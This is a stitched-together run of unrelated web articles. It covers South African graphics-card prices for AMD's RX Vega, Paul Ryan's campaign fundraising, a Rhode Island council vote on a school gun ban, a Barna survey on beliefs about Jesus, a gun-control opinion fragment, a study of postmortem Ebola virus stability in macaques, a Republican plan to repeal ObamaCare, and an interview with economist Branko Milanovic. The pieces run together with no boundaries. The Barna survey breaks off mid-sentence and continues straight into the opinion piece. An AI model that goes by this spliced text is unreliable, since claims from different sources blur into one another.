Rebel Tech Wootware Evetech Titan-Ice Gigabyte Radeon RX Vega 64 8GB Watercoooling R14,599 — — — XFX Radeon RX Vega 64 8GB Watercooling — N/A — — MSI GeForce GTX 1080 Ti 11GB Sea Hawk R14,544 — R15,999 — PowerColor Radeon RX Vega 64 8GB Watercooling — N/A — — PowerColor Radeon RX Vega 64 8GB Limited Edition — N/A — — XFX Radeon RX Vega 64 8GB Limited Edition — N/A — — MSI GeForce GTX 1080 Ti 11GB ARMOR OC R12,506 R12,892 R12,889 R13,499 Gigabyte Radeon RX Vega 64 8GB R12,499 — — — PowerColor Radeon RX Vega 64 8GB — N/A — — ASUS STRIX GeForce GTX 1080 8GB Advanced R11,980 R12,099 R11,999 R11,399 MSI Radeon RX Vega 64 8GB R11,499 R11,799 ** R11,499 R11,799 XFX Radeon RX Vega 64 8GB — N/A — — Gigabyte Radeon RX Vega 56 8GB R10,499 — — — Gigabyte GeForce GTX 1080 G1 GAMING 8GB R10,359 R10,552 R10,699 R10,899 ASUS STRIX GeForce GTX 1070 8GB R8,625 R8,599 — R8,399
Having it all laid out shows how things stack up. At R11,499, Radeon RX Vega 64 is priced higher than competing GeForce GTX 1080 custom cards, and is not too far off the price of the cheapest GTX 1080 Ti cards available today. Pricing will come down eventually, but overall, with just this launch of AMD’s reference design, there isn’t much reason to consider RX Vega if you’re also not buying into AMD’s ecosystem with a FreeSync monitor to match. RX Vega 64’s price needs to come down considerably for it to make sense when purchasing it on its own.
Rebel Tech currently also has the only listed price for a Vega 56 graphics card, a reference design with the Gigabyte brand that should be launching worldwide today. That pricing might not be accurate because I don’t think there’ll be a R1,000 price gap between the two cards, but pricing should be available generally later today once orders open. A R1,000 gap would be too insignificant a difference to make anyone consider buying Vega 56. If you have the extra cash, buying Vega 64 makes more sense because it’s a small jump in price for a 10% increase in performance.
But if prices for Vega 56 come down to an average of R9,000 or less, it would be a great option compared to the GeForce GTX 1070 for anyone sitting on the fence. RX Vega 56 is the best answer AMD has to Pascal, and it’s not just competitive at a similar price point compared to the GTX 1070, but also ends up slightly faster than it in 90% of game benchmarks out there. Game optimisations will play a big role in how AMD is able to compete with NVIDIA, but I’m confident that they can keep up.
Radeon Packs and pricing
AMD’s only local partner for the Radeon Packs is Evetech. The only bundle on offer will be the Radeon Black Pack with two free games, Prey and a pre-order for Wolfenstein II. No other retailer or e-tailer will be offering this, so it’s an Evetech exclusive. It’s applicable for single-card sales as well as system bundles.
Similarly to what AMD told journalists overseas in the US and Europe, AMD has no control over local pricing, or what kind of mark-ups are put on product sold locally – only suggestions to retailers on what prices they should target. In South Africa, AMD products are imported directly by distributors or retailers on their own terms because AMD doesn’t have a local presence here aside from PR and marketing arms.
AMD also noted likewise that the GeForce GTX 1070 and GTX 1080 have been available for a longer period of time, and RX Vega, being brand new, will likely have a higher price due to limited stock being available. The hope is that once the ramp-up with products from their board partners begins six to eight weeks from now, there’ll be more stock available and prices will drop. This means that, at most, it’ll be two months before stock settles in and RX Vega is generally available, and this takes into account miners snapping up early launch stock as well. Because they probably won’t, at least not locally.
One highlight is that AMD likely isn’t going to run into any PR problems over prices locally, because they’re not employing the same launch price strategy that they did overseas. To keep retailers honest and make it possible for gamers to buy cards at the suggested price, AMD offered rebates to overseas retailers who sold cards at the suggested price to consumers, according to feedback that AMD gave to LinusTechTips. This didn’t work for everyone who wanted a card, because opportunistic retailers sold through on their initial allotment of cards that had been rebated, and then immediately hiked up the selling price to make more profit as stock levels dropped.
That’s not happening here, because miners aren’t going to suck up these cards at launch anyway. The price is too high, our currency is stronger against the dollar, and the return on investment mining Ethereum is easily seven months or more. This may change over time as Vega gets better at coin mining or if our currency devalues again, but today it’s a safe bet that miners aren’t targeting it yet. Mining Monero might become more profitable, but the coin’s value is too low at this point.
I was also told by Wootware’s Rory Magee that the retailer would be keeping a close eye on pricing and availability of RX Vega, but would not be listing pricing for all cards until they’re happy with the value being offered to consumers. That is not a tough decision to make given that NVIDIA’s pricing is a little to a lot more attractive, and sells quicker, but this means that AMD fans locally have less choice as a result.
Will pricing really drop?
Think back to July 2016. During the months of June to August 2016, there was, again, a worldwide shortage of graphics cards owing to shortages of other critical components that slowed the ability for anyone to deliver stock. AMD had just launched Polaris with low stock levels on launch day, with the promise of more cards to come, while NVIDIA had lots of stock globally of the Founders Edition versions of the GTX 1080 and GTX 1070, but no-one wanted to pay the higher prices for the louder coolers.
At that point, the cheapest GTX 1070 was the EVGA GTX 1070 SuperClocked with the ACX 3.0 cooler for R8,459, available from Landmark PC. In a June System Builder’s Guide, I included a GTX 1070 Founder’s Edition for R8,899. Two months later, I wrote a review for MSI’s GeForce GTX 1070 Gaming X, and it had a recommended price of R8,999.99, though retailers had it selling for around R8,500, and stock wasn’t a problem. It took three months for prices to drop to acceptable levels.
This wasn’t the case for the Radeon R9 Fury. In a November 2015 System Builder’s Guide, I included a Sapphire Tri-X R9 Fury in the build for R8,338, remarking that it’s the first time I was able to fit it in thanks to a price drop from R9,000. Six months later in May 2016, the same card shot back up to R9,849 as the global GPU shortage ramped up and our rand traded at R14.64. This was a wind-down after the rand sat at R15,96 on 1 February 2016, and R9 Fury prices back then were around R10,000. Eight months later, a January 2017 edition of the guide had the same card for R6,722, a result of a very recent price drop by AMD behind the scenes as it began to give rebates to board partners and distributors to clear out remaining inventory.
It took fourteen months for that one card to drop from a launch price of around R9,500 to less than R7,000 where it was competitive to the GTX 980. It’s not an overall indication of AMD’s performance locally, but it is one example of how AMD’s high-end cards typically remain priced higher for longer periods of time, while NVIDIA’s cards tend to be priced lower (the reverse is seen in the mid-range and low-end markets, where AMD’s pricing is lower and more consistent). In our market, AMD’s high-end cards just don’t sell that well, while NVIDIA’s cards do. It’s both a market share and a mind share problem. That’s why a Radeon R9 Nano still retails for over R11,000 despite having fallen far behind the GTX 1070 long ago.
Over time, this will get better. If AMD’s current shortage of RX Vega works itself out, prices will drop and perhaps we’re going to see better competition between the two GPU manufacturers. But today, this week, if you’re buying RX Vega, do keep in mind that you’re effectively paying an early adopter tax, and the best-case scenario to grab a reference design is if you’re going to eventually water cool it. Custom cards are on the way, they will perform better, and they will probably be much cheaper.Ryan has built a cash reserve that far exceeds what most House members enjoy. Ryan a prolific corporate fundraiser
Not that Mitt Romney needs help with campaign cash, but his new running mate is one of the most prolific fundraisers in Congress.
Paul Ryan has built himself a monumental cash reserve — more than $5.4 million — that far exceeds what most House members enjoy.
Story Continued Below
( Also on POLITICO: Meet Janna Ryan)
Between April and June, Ryan raised about $1 million, his best fundraising quarter of the election cycle. Between January 2011 and late June, he’s taken in more than $4.3 million, according to federal records.
On Tuesday, Wednesday and Thursday of this week alone, Ryan raised $41,750 from various sources that include the political action committees of ConocoPhillips, Exelon Corp., the American College of Radiology, BNSF railroad, Wal-Mart and the Wisconsin Energy Corp., according to federal records submitted immediately before Wisconsin’s primary vote, which will be conducted Tuesday.
Employees and political action committees associated with Baker Tilly, Northwest Mutual, Abbott Laboratories, PriceWaterhouseCoopers, Wells Fargo, AT&T and Goldman Sachs are among the top contributors to Ryan’s 2012 election campaign. Each has so far given more than $10,000 to his campaign, with Baker Tilly leading the pack at $19,250, according to data from the Center for Responsive Politics.
For Ryan’s overall political career, employees and political action committees affiliated with the National Beer Wholesalers Association, AT&T, Koch Industries and Northwest Mutual have each given Ryan at least $65,000.
“He obviously appeals to the fiscal base of the Republican Party,” said Kathy Kiely, managing editor of the Sunlight Foundation, which tracks campaign finance matters. “And he’s got a pluperfect pedigree as a member of the GOP supply side brain trust.”
Ryan also operates a leadership PAC, called Prosperity PAC, that’s among Congress’ most wealthy and active — on the Republican side, only House Speaker John Boehner, Majority Leader Eric Cantor and Majority Whip Kevin McCarthy have more cash on hand, to date.
Prosperity PAC, which is separate and apart from Ryan’s campaign account, has this election cycle spread more than $500,000 around to dozens of political brethren, Federal Election Commission records indicate.
Retirees have been the most active donors to Prosperity PAC this election cycle, with people and PACs associated with the securities and investment, real estate, insurance and financial industries also donating heavily, Center for Responsive Politics data shows.
( PHOTOS: Romney and Ryan, BFFs)
On Aug. 3, Prosperity PAC did some financial housekeeping, filing amendments to its federal disclosure reports covering the months of April, May and June.
In each case, the PAC made adjustments of a few thousand dollars to its disbursement and cash-on-hand totals. Such amendments are fairly routine for political committees, but the timing of Prosperity PAC’s adjustment suggests Ryan didn’t want to leave any financial record to chance were he to become Romney’s running mate.
Tarini Parti contributed to this report.Town Council votes no on proposed school gun ban
CUMBERLAND – Unexpectedly, the Cumberland Town Council has defeated a resolution that would have endorsed a proposed ban on concealed weapons in schools except when carried by law enforcement personnel.
The resolution, introduced at the May 4 meeting by President Craig Dwyer and unanimously supported by Police Chief John Desmarais, the Cumberland School Committee, the Rhode Island Association of School Committees, and the Rhode Island League of Cities and Towns, drew the support of only three of seven councilors after school board member Mark Fiorillo told councilors there’s been a sharp increase in the number of accidental shootings since more teachers and other staff personnel nationwide began carrying weapons in schools.
School Committee Chairwoman Lisa Beaulieu later commented, “It’s disappointing that opinion trumped fact in the council vote.”
The resolution was supporting pending General Assembly companion bills, H-7243 and S-2761, which cite a study by the Violence Policy Center in Washington, D.C., that found nationwide – not necessarily in schools – there were 722 deaths in 544 concealed-carry shootings from May 2007 to February 2015. Just 16 of the killings were deemed to be lawful self-defense.
During discussion, Councilor Scott Schmitt commented, “I know this is an incredibly emotionally charged issue, and my heart goes out to anyone affected.” But he asked about the General Assembly bills, “How does this make schools safer?”
He went on to question whether having someone working in the schools who has a valid permit might mean “we’re almost safer if they carry than if they don’t.” And he noted the bill’s exception that allows for weapons during gun safety classes.
“For me, I’ve got some issues with it. I don’t think it has enough teeth in it, and I don’t think it does what it’s intended to do and that is to make our schools safer,” Schmitt said.
Fiorillo told councilors, “One of the comments you always hear when these kinds of bills or resolutions come up is it’s not going to stop mass shootings, and that’s correct,” but he added he believes it will decrease accidental shootings. “And there’s always the concern that a student will get access to a gun that is in the schools.” The school board member continued, “The only way to protect them is to not allow any guns in school. This is more about accidental shootings than anything else.”
Voting against it were the majority: Councilors Peter Bradley, Art Lambi, Joshua Call-Fregeau, and Schmitt.
The unexpected defeat prompted President Dwyer to slam his gavel and angrily declare, “Now not only don’t we have love, peace and joy, but we’re not going to restrict guns. Thank you gentlemen. Where are we going in this world?”
The love and peace comment was a reference to a request by Mayor Bill Murray last month that Cumberland recognize May 1 as “Global Love Day.” Councilors Bradley, Call-Fregeau, Jim Scullin, and Schmitt opposed that measure as inappropriate for the Town Council.Jesus Christ remains a central figure and perennial person of interest in the American religious landscape—especially in the days leading up to Easter. And 2015 is no exception.
On Sunday, March 29, National Geographic Channel premiered its adaptation of Bill O’Reilly’s book Killing Jesus to 3.7 million viewers—the channel’s biggest audience in history. CNN’s Finding Jesus miniseries has also sustained impressive viewership. Google searches of Jesus Christ climbed by 53 percent in the week leading up to Easter—a likely result of both seasonal television programming and the approaching holiday.
But what do Americans believe about Jesus? Who do they say he is? Here are five popular American perceptions of Jesus, based on recent Barna Group research.
1. The Vast Majority of Americans Believe Jesus Was a Real Person
Jesus Christ has made a cameo in hundreds of pop culture places, from The Da Vinci Code to South Park. But, although the character of Jesus has certainly been fictionalized, satirized and mythologized over the centuries, the vast majority of Americans still maintain that he was a historical figure. More than nine out of 10 adults say Jesus Christ was a real person who actually lived (92%). While the percentages dip slightly among younger generations—only 87 percent of Millennials agree Jesus actually lived—Americans are still very likely to believe the man, Jesus Christ, once walked the earth.
2. Younger Generations Are Increasingly Less Likely to Believe Jesus Was God
The historicity of Jesus may not be in question for most Americans, but people are much less confident in the divinity of Jesus. Most adults—not quite six in 10—believe Jesus was God (56%), while about one-quarter say he was only a religious or spiritual leader like Mohammed or the Buddha (26%). The remaining one in six say they aren’t sure whether Jesus was divine (18%).
Millennials are the only generation among whom fewer than half believe Jesus was God (48%). About one-third of young adults (35%) say instead that Jesus was merely a religious or spiritual leader, while 17 percent aren’t sure what he was.
In each older generation, the belief in Jesus as divine is more common—55 percent of Gen-Xers, 58 percent of Boomers and nearly two-thirds of Elders (62%) believe Jesus was God.
3. Americans Are Divided on Whether Jesus Was Sinless
Perhaps reflective of their questions about Jesus’ divinity, Americans are conflicted on whether Jesus committed sins during his earthly life. About half of Americans agree, either strongly or somewhat, that while he lived on earth, Jesus Christ was human and committed sins like other people (52%). Just less than half disagree, either strongly or somewhat, that Jesus committed sins while on earth (46%), and 2 percent aren’t sure.
Similar to other trends in perceptions of Jesus, Millennials are more likely to believe Jesus committed sins while |
and suicides outnumber murders." But he knows that mass shootings attract a lot of attention, and he hopes to take advantage of that. Never mind that street crime and suicides have nothing to do with what happened in Las Vegas yesteday, except that all three involve guns. Well, Paddock did eventually kill himself, so there's that.
The policies Kristof favors should be judged on their own merits, without reference to what has been described as the deadliest mass shooting in U.S. history. Using the feelings of dismay, anger, and sadness provoked by that event to push policies that we have no reason to believe would or could have prevented it is the crassest sort of emotionalism and demagoguery. If you are truly outraged by the Las Vegas massacre, Kristof is saying, you will agree with him about gun control. There is so little logic to that syllogism that it does not even qualify as an argument.
*Update: The Times reports that Paddock did pass federal background checks: "Christopher Sullivan, general manager of Guns & Guitars, a gun store in Mesquite, confirmed that Mr. Paddock bought three guns at his shop within the last year—a handgun and two rifles. All the purchases were legal and cleared routine federal screening, Mr. Sullivan said."Volume 21, Number 5—May 2015
Dispatch
Postmortem Stability of Ebola Virus
Joseph B. Prescott, Trenton Bushmaker, Robert J. Fischer, Kerri Miazgowicz, Seth D. Judson, and Vincent J. Munster
Author affiliations: National Institutes of Health, Hamilton, Montana, USA
Cite This Article
Abstract The ongoing Ebola virus outbreak in West Africa has highlighted questions regarding stability of the virus and detection of RNA from corpses. We used Ebola virus–infected macaques to model humans who died of Ebola virus disease. Viable virus was isolated <7 days posteuthanasia; viral RNA was detectable for 10 weeks.
The ongoing outbreak of Ebola virus (EBOV) infection in West Africa highlights several questions, including fundamental questions surrounding human-to-human transmission and stability of the virus. More than 20,000 cases of EBOV disease (EVD) have been reported, and >8,000 deaths have been documented (1). Human-to-human transmission is the principal feature in EBOV outbreaks; virus is transmitted from symptomatic persons or contaminated corpses or by contact with objects acting as fomites (2). Contact with corpses during mourning and funeral practices, which can include bathing the body and rinsing family members with the water, or during the removal and transportation of bodies by burial teams has resulted in numerous infections (3).
Assessing the stability of corpse-associated virus and determining the most efficient sampling methods for diagnostics will clarify the safest practices for handling bodies and the best methods for determining whether a person has died of EVD and presents a risk for transmission. To facilitate diagnostic efforts, we studied nonhuman primates who died of EVD to examine stability of the virus within tissues and on body surfaces to determine the potential for transmission, and the presence of viral RNA associated with corpses.
The Study We studied 5 cynomolgus macaques previously included in EBOV pathogenesis studies and euthanized because of signs of EVD and viremia. Two animals were infected with EBOV-Mayinga and 3 with a current outbreak isolate (Makona-WPGC07) (4). Immediately after euthanasia, multiple samples were collected: oral, nasal, ocular, urogenital, rectal, skin, and blood (pooled in the body cavity) swab samples and tissue biopsy specimens from the liver, spleen, lung, and muscle. Swabs were placed in 1 mL of culture medium and tissue samples were placed in 500 μL of RNAlater (QIAGEN, Valencia, CA, USA), or an empty vial for titration, before freezing at −80°C. Carcasses were placed in vented plastic containers in an environmental chamber at 27°C and 80% relative humidity throughout the study to mimic conditions in West Africa (5). At the indicated time points (<9 days for 2 animals and 10 weeks for 3 animals), swab and tissue samples were obtained and used for EBOV titration on Vero E6 cells to quantify virus or for quantitative reverse transcription PCR (qRT-PCR) (40 cycles) to measure viral RNA, as reported (6,7). Figure 1 Viral RNA was detectible in all swab samples and tissue biopsy specimens at multiple time points (Figure 1). For swab samples (Figure 1, panel A), the highest amount of viral RNA was in oral, nasal, and blood samples; oral and blood swab specimens consistently showed positive results for all animals until week 4 for oral specimens and week 3 for blood, when 1 animal was negative for each specimen type. Furthermore, oral swab specimens had the highest amount of viral RNA after the first 2 weeks of sampling, although after the 4-week sampling time point, some samples from individual animals were negative. In all samples, RNA was detectable sporadically for the entire 10-week period, except for blood, which had positive results for <9 weeks. Tissue samples were more consistently positive within the first few weeks after euthanasia (Figure 1, panel B). All samples from the liver and lung were positive for the first 3 weeks, and spleen samples were positive for the first 4 weeks, at which time lung and spleen samples were no longer tested because of decay and scarcity of tissue. Muscle sample results were sporadic: a sample from 1 animal was negative at the 1-day time point and at several times throughout sampling. Figure 2 Viable EBOV was variably isolated from swab from all sampling sites. Among blood samples, those from the body cavity had the highest virus titer (2 × 105 50% tissue culture infectious doses/mL) and longest-lasting isolatable virus (7 days posteuthanasia) (Figure 2, panel A). Consistent with the qRT-PCR results, for swab samples, oral and nasal sample titers were highest, followed by those for blood samples, and relatively high titers were observed <4 days posteuthanasia (Figure 2, panel B). Similar to the qRT-PCR experiments, virus titers were higher in tissue samples than in swab samples but were not as sustained; all tissue samples were positive at day 3 posteuthanasia but negative by day 4.
Conclusions The efficiency of detecting EBOV from corpse samples has not been systematically studied; this information is needed for interpreting results for diagnostic samples for epidemiologic efforts during outbreaks. We showed that viral RNA is readily detectable from oral and blood swab specimens for <3 weeks postmortem from a monkey carcass that was viremic at the time of death, in environmental conditions similar to those during current outbreak (5). The stability of the target RNA used for RT-PCR is more robust than that of viable virus because degradation of any part of the genome (or proteins and lipids) would compromise the ability of the virus to replicate. Thus, the ability to isolate replicating virus in cell culture from postmortem materials was much less sensitive than detection of viral RNA by qRT-PCR. The sensitivity for quantitating infectious virus is probably lowered because of limitations in isolation efficiency on cell culture and necessary dilutions of tissues for homogenization for titration. Nonetheless, we detected viable virus <7 days posteuthanasia in swab specimens and 3 days in tissues, and showed that infectious virus is present at least until these times. Because virus titers decreased relatively sharply, despite sensitivity issues, it is unlikely that viable virus persists for times longer than we measured. Humans who die of EVD typically have high levels of viremia, suggesting that most fresh corpses contain high levels of infectious virus, similar to the macaques in this study (9). Furthermore, family members exposed to EVD patients during late stages of disease or who had contact with deceased patients have a high risk for infection (2). The presence of viable EBOV and viral RNA in body fluids of EVD patients has been studied, and oral swabbing has been shown to be effective for diagnosis of EVD by RT-PCR compared with testing of serum samples from the same persons (10,11). However, detection limits for diagnostic swab samples are unknown for early phases of EVD, and blood sampling is probably more sensitive and reliable for antemortem diagnostics and should be used whenever possible, which has also been shown with closely related Marburg virus (12). Although these studies included data from outbreak situations, they are limited in their sampling numbers, swabbing surfaces, and time course, and it is unknown how predictive they are for samples collected postmortem. It is essential to stress that swab samples should be obtained by vigorous sampling to acquire sufficient biologic material for testing, and development of a quality-control PCR target (housekeeping gene target) would be beneficial for sample integrity assessment, which is a limitation of this study. In summary, we present postmortem serial sampling data for EBOV-infected animals in a controlled environment. Our results show that the EBOV RT-PCR RNA target is highly stable, swabbing upper respiratory mucosa is efficient for obtaining samples for diagnostics, and tissue biopsies are no more effective than simple swabbing for virus detection. These results will directly aid interpretation of epidemiologic data collected for human corpses by determining whether a person had EVD at the time of death and whether contact tracing should be initiated. Furthermore, viable virus can persist for >7 days on surfaces of bodies, confirming that transmission from deceased persons is possible for an extended period after death. These data are also applicable for interpreting samples collected from remains of wildlife infected with EBOV, especially nonhuman primates, and to assess risks for handling these carcasses.
Dr. Prescott is a research fellow in the Virus Ecology Unit at Rocky Mountain Laboratories, Hamilton, Montana. He is currently involved in the Ebola virus outbreak at the combined Centers for Disease Control and Prevention/National Institutes of Health diagnostic laboratory, Monrovia, Liberia. His research interests include the immune response, transmission, and modeling of viral hemorrhagic fevers.
Acknowledgments
We thank Darryl Falzarano and Andrea Marzi for use of animal carcasses upon completion of their studies and Anita Mora for providing assistance with graphics. This study was supported by the Division of Intramural Research, National Institute of Allergy and Infectious Diseases, National Institutes of Health.
References
Centers for Disease Control and Prevention. Ebola hemorrhagic fever [cited 2015 Jan 3].. Ebola hemorrhagic fever [cited 2015 Jan 3]. http://www.cdc.gov.ezproxy.nihlibrary.nih.gov/vhf/ebola/ Dowell SF, Mukunu R, Ksiazek TG, Khan AS, Rollin PE, Peters CJ. Transmission of Ebola hemorrhagic fever: a study of risk factors in family members, Kikwit, Democratic Republic of the Congo, 1995. J Infect Dis. 1999 ; 179 ( Suppl 1 ): S87 – 91. DOI PubMed ): Khan AS, Tshioko FK, Heymann DL, Le Guenno B, Nabeth P, Kerstiëns B, The reemergence of Ebola hemorrhagic fever, Democratic Republic of the Congo, 1995. J Infect Dis. 1999 ; 179 ( Suppl 1 ): S76 – 86. DOI PubMed ): Hoenen T, Groseth A, Feldmann F, Marzi A, Ebihara H, Kobinger G, Complete genome sequences of three Ebola virus isolates from the 2014 outbreak in West Africa. Genome Announc. 2014 ;2:e01331–14. Ng S, Cowling B. Association between temperature, humidity and ebolavirus disease outbreaks in Africa, 1976 to 2014. Euro Surveill. 2014 ; 19 : 20892. PubMed Marzi A, Ebihara H, Callison J, Groseth A, Williams KJ, Geisbert TW, Vesicular stomatitis virus–based Ebola vaccines with improved cross-protective efficacy. J Infect Dis. 2011 ; 204 ( Suppl 3 ): S1066 – 74. DOI PubMed ): Ebihara H, Rockx B, Marzi A, Feldmann F, Haddock E, Brining D, Host response dynamics following lethal infection of rhesus macaques with Zaire ebolavirus. J Infect Dis. 2011 ; 204 ( Suppl 3 ): S991 – 9. DOI PubMed ): Finney DJ. Statistical method in biological assay. New York: Macmillian Publishing Co., Inc.; 1978. p. 394–8. Towner JS, Rollin PE, Bausch DG, Sanchez A, Crary SM, Vincent M, Rapid diagnosis of Ebola hemorrhagic fever by reverse transcription–PCR in an outbreak setting and assessment of patient viral load as a predictor of outcome. J Virol. 2004 ; 78 : 4330 – 41. DOI PubMed Bausch DG, Towner JS, Dowell SF, Kaducu F, Lukwiya M, Sanchez A, Assessment of the risk of Ebola virus transmission from bodily fluids and fomites. J Infect Dis. 2007 ; 196 ( Suppl 2 ): S142 – 7. DOI PubMed ): Formenty P, Leroy EM, Epelboin A, Libama F, Lenzi M, Sudeck H, Detection of Ebola virus in oral fluid specimens during outbreaks of Ebola virus hemorrhagic fever in the Republic of Congo. Clin Infect Dis. 2006 ; 42 : 1521 – 6. DOI PubMed Grolla A, Jones SM, Fernando L, Strong JE, Ströher U, Möller P, The use of a mobile laboratory unit in support of patient management and epidemiological surveillance during the 2005 Marburg outbreak in Angola. PLoS Negl Trop Dis. 2011 ; 5 : e1183. DOI PubMed
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Table of Contents – Volume 21, Number 5—May 2015Some Republicans in Congress are eyeing a second chance at this year’s budget process as a way to deal an immediate blow to ObamaCare in the wake of Donald Trump’s election.
House leaders could revive this year’s budget resolution — which was never brought up for a vote — during the lame-duck session that starts next week, according to lawmakers.
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The unusual move, which typically takes place by April 15, would allow Republicans to make good on their campaign promise to repeal the healthcare law swiftly following Trump's surprise victory.
The only other option is waiting until next year’s appropriations process, which would likely mean Trump could not sign off on an ObamaCare repeal bill until late summer or fall.
Approving the budget resolution in the lame-duck session would clear the path for a legislative tactic known as reconciliation, which allows Congress to approve certain spending-related bills without the threat of a filibuster.
It’s the same way that Democrats passed ObamaCare in 2010.
Republican Study Committee Chairman Bill Flores William (Bill) Hose FloresRep. Mike Johnson wins race for RSC chairman GOP approves rule for Don Young Texas lawmaker: GOP facing funding disadvantage MORE (R-Texas) said members are now considering reviving this year’s budget resolution as a fast-track way to achieve an ObamaCare repeal.
"We'd get two shots at reconciliation in one calendar year," Flores said.
For the gambit to work, Congress would have to push back its spending bill deadline until March, but members say it’s do-able.
“It’s an interesting idea,” Rep. Tom Cole (R-Okla.), a senior appropriator, said Thursday. “If our leadership wants to do that, I would be inclined to be supportive.”
GOP leaders are already planning to use budget reconciliation to repeal most parts of ObamaCare next year under a President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE.
Republicans tested the process last year, and it remains their best shot at dismantling the healthcare law without a larger majority in the Senate.
But repealing the law in an even more divided House and Senate will be tougher than Trump has let on. Most staffers and policy experts expect it could take months, if not years, for parts of the law to be effectively scrapped.
Many conservative lawmakers and outside groups worry about the political consequences of waiting several months to repeal ObamaCare after this week’s Republican sweep.
And any bill to repeal ObamaCare would almost certainly fail to do so immediately.
The most likely option is a one- or two-year delay, according to one conservative who closely follows GOP healthcare policy.
“It took Democrats 13 months to finally figure something out,” the conservative policy expert said. “There are no expectations that [Republicans would] have something right away.”Welcome to the latest installment of our interview series “Where is the General Theory of the 21st Century?” and part two of our interview with Branko Milanovic, Visiting Presidential Professor at the Graduate Center of City University of New York.
Branko Milanovic on Global Inequality and Kuznets Waves | #WITGT21 Interview Series | Our honorable guest is Branko Milanovic, Visiting Presidential Professor at the Graduate Center of City University of New York. The topic of this interview is his latest book “Global Inequality: A New Approach for the Age of Globalization” and how the research on inequality can be related to the study of macroeconomics.
In the first part of the interview, Prof. Milanovic talked about his latest book “Global Inequality: A New Approach for the Age of Globalization” and how to use his new idea, the Kuznets Wave, to understand the developments of global inequality.
In part two of our interview, Prof. Milanovic discusses whether he thinks the study of inequality should be considered part of macroeconomics. Also, we explored if it is possible to combine the Kuznets Waves into macroeconomics models. (The interview is edited for clarity. All mistakes are ours.)
Photo Credit: Oxford Martin School Youtube
Q: EconReporter M: Branko Milanovic
Q: Do you consider inequality research as a subject of macroeconomics? Do you think that inequality should have any implications for the developments of macroeconomics theory and policy?
M: It is a very important and interesting question. Let me put it like this. Historically, since the neoclassical economics won very strongly in the US since the 1940s, the study of inequality has been relegated to footnotes essentially.
There is an ideological reason for that. It was always considered not politically desirable to study inequality too much because people want to focus on growth. If you study inequality, somehow it seems that you are arguing for redistribution of income. Obviously, this is not true because you can study inequality like Pareto did, who was the most right-wing economists you can imagine but at the same time he was the originator of the study of interpersonal inequality. But people don’t think in such a sophisticated way. They just say “Well, you are studying inequality. It must be because you are envious and want to take income from me!”
Still, this was not the main reason. The main reason was the structure of general equilibrium. You essentially have the situation in which all prices, including the prices of capital, labor and other factors of production, are determined in the general equilibrium. The prices are considered “right and fair”. In other words, that essentially mean that we don’t have to ask what is the price of labor because we already know that the economic system would deliver the “right” price of labor. That essentially eliminated from the theory the study of the returns to labor or capital.
On top of that, economists would say that the Walrasian General Equilibrium does not really deal with endowments. The endowments are something that we don’t discuss because we just take note of the endowments individuals bring to the market, as it is a “given”, and how the price is determined. How you got this endowment is not part of the general equilibrium discussion, or often of an economic discussion at all.
That basically eliminate the two important elements in the study of inequality. It eliminated the question on how I acquire my wealth or my educations. It also eliminated how the pricing of my education and the capital was made. That’s the reason why income inequality was really left totally outside of mainstream neoclassical economics.
I remember when I was writing my first articles on inequality some 25 years ago, I could not find the term in JEL (Journal of Economic Literaure) codification. There was no term which you could actually attach your work to. You could put it in “Welfare”, for example. There are also “Educations” and “Health”. But we didn’t have “Income Distributions”. Later they introduced “Income Distributions” but the word “Inequality” is still not there. There is still a resistance to study that.
After all the fuss re wealth and income inequality,JEL classification has the term inequality appearing three times, none of which relevant pic.twitter.com/s8fajDGeCH — Branko Milanovic (@BrankoMilan) February 14, 2017
@noralustig I remember when writing a paper on ineq of income you needed to combine JEL terms like "welfare", "distribution", "wages" etc. — Branko Milanovic (@BrankoMilan) February 14, 2017
@BrankoMilan Background Jul 2011 Lustig wrote JEL finally included income distribution in codes. Thank Deaton. I asked him and he got it. — Nora Lustig (@noralustig) February 14, 2017
Now people are starting to write the textbooks in inequality. Yet, so far, we still haven’t had them. We have a lot of knowledge on inequality but they are disbursed. Some of them are in Labor Economics, some are in Trade Economics, and some are in Economics of Development. For example, students learn the Gini Coefficient and the Lorenz Curve in Economics of Development, as if it only applies to poor countries and rich countries don’t have the problem of income inequality.
These are the two elements that make inequality a footnote essentially. One is the pure political desire not to study income inequality. Another one is ideological, which is the way that neoclassical economics look at and solve the economic problem.
To your question, I am not sure where inequality would be put exactly because the elements in the field that are both micro and macro. Some elements are micro. For example, now there are huge studies of income based on individual household survey or fiscal data. We now have huge databases on inequality and use sophisticated econometric to study it. So in this sense, it is very much micro.
But then there is an obvious linkage between those micro analyses and the effect that inequalities have on the macro variables like GDP growth, government spending, even inflation. This became very clear during the crisis.
So, I think inequality is actually between the two. I am not sure where it would be located but I could see that the original work can be done in micro and in econometrics. Then the implications of certain inequality changes have to be studied in macro, as one of the macro variables.
Q: Do you think your Kuznets Waves model can have some implications or applications in macroeconomics research?
M: I am not quite sure really. To tell you the truth, I haven’t thought of that.
I see your point. The Kuznets Waves could be combined with either the cyclical models of the development, of the GDP per capita, of the industrial production and so on; or the Kuznets Waves can be put into a general macro framework.
It could be in an entirely macro framework because you can just take one variable, say, the income inequality measured by the Gini or something else, and put it either into a regression or a model of the whole economy. But of course, that would only be the macro part of the work. You will still have to work on the micro part, which is the data behind that inequality measure. There could be like millions of individuals and their incomes data, among many things else.
I haven’t really thought of the direct application of the Kuznets Wave in the macro models. It is an interesting question. Here is an example of how to combine the Kuznets Waves and macro models, which I am just thinking out loud right now. First, we model the movement of inequality in terms of Kuznets Waves. Then, for example, we model that the rising inequality leads to either excessive borrowing by those who don’t benefit from rising income so that they can sort of have a feeling that they are keeping up with the rich people; or, leads to lower consumptions because people with higher income has lower marginal propensity to consume. Then we can sort of model the effects of the Kuznets Wave on the macroeconomy, either because there is an insufficient demand that would slow down the growth rate; or, excessive borrowings create a sort of bubble system that we have seen, for example, in 2007. In this way, The Kuznets Waves model does lend itself to the macro modeling framework.
Q: In the last chapter of your book, you have suggested that economists should reconsider the issue of “methodological nationalism”. Why should inequality study be more, say, “globalized” instead of focusing on national data?
M: We have been hostages of what is called “methodological nationalism” because most of our data in economics are produced in national level. The natural framework is the nation-state because our research depends on data produced by national statistics offices or national surveys of finance, wealth or income.
That’s not a bad framework. But it is too constraining for the analysis certain issues, including global inequality and global poverty. It is also obviously too constraining for the analysis of the epidemic, climate change, migrations or tax heavens, among others. Certain things cannot be only studied at the national level because the impact to those things is global.
